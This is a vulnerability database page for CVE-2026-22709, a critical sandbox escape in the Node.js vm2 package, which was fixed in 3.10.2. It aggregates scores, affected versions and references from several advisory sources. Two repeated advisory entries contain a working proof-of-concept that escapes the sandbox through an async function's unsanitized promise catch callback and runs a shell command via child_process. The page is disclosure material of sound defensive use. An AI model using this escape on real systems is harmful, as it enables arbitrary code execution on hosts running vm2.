CVE-2026-22709
vm2 has a Sandbox Escape
vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object. Version 3.10.2 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
vm2 has a Sandbox Escape
vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object. Version 3.10.2 fixes the issue.
- Record
CVE-2026-22709- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-913, CWE-693
- Updated
- 2026-11-02
EUVDEUVD-2026-4660
9.8
vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object. Version 3.10.2 fixes the issue.
- Record
EUVD-2026-4660- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-99p7-6v5w-7xg8
9.8
vm2 has a Sandbox Escape
In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.
- Record
GHSA-99p7-6v5w-7xg8- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-693, CWE-913
- Updated
- 2026-11-02
NVD
9.8
vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object. Version 3.10.2 fixes the issue.
- Record
CVE-2026-22709- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94, CWE-693, CWE-913
- Updated
- 2026-11-02
OSV
9.8
vm2 has a Sandbox Escape
vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object. Version 3.10.2 fixes the issue.
- Record
CVE-2026-22709- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-693, CWE-913, CWE-94
- Updated
- 2026-11-02
OSVGHSA-99p7-6v5w-7xg8
9.8
vm2 has a Sandbox Escape
In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.
- Record
GHSA-99p7-6v5w-7xg8- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-693, CWE-913, CWE-94
- Updated
- 2026-11-02
OSVCLSA-2026-1787860907 No score
TuxCare security update for vm2 (34 CVEs)
TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.
- Record
CLSA-2026-1787860907- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-22709 No score
CVE-2026-22709 in vm2 - Patched by Root
Root has patched CVE-2026-22709 in the vm2 package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-22709- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vm2npm |
through 3.10.1 | 3.10.2 |
vm2TuxCare:npm From an advisory covering 30 CVEs |
3.10.0-tuxcare.0 up to 3.10.0-tuxcare.1, plus listed versions 3.10.0 |
3.10.0-tuxcare.1 |
vm2npm |
before 3.10.2 | 3.10.2 |
vm2Root:npm |
before 3.9.17-aikido.11 | 3.9.17-aikido.113.9.17-aikido.123.9.17-aikido.133.9.17-aikido.93.9.17-aikido.103.9.7-aikido.53.9.7-aikido.6 |
@rootio/vm2Root:npm |
before 3.9.17-root.io.11 | 3.9.17-root.io.113.9.17-root.io.123.9.17-root.io.133.9.17-root.io.93.9.17-root.io.103.9.7-root.io.53.9.7-root.io.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-22709 is a critical vulnerability (CVSS 9.8) in Patriksimek Vm2, published January 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.27%, the 69th percentile. Fixed in vm2 3.10.2.
References
github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8
github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29
github.com/patriksimek/vm2/releases/tag/v3.10.2
nvd.nist.gov/vuln/detail/CVE-2026-22709
github.com/advisories/GHSA-99p7-6v5w-7xg8
github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22709.json
github.com/patriksimek/vm2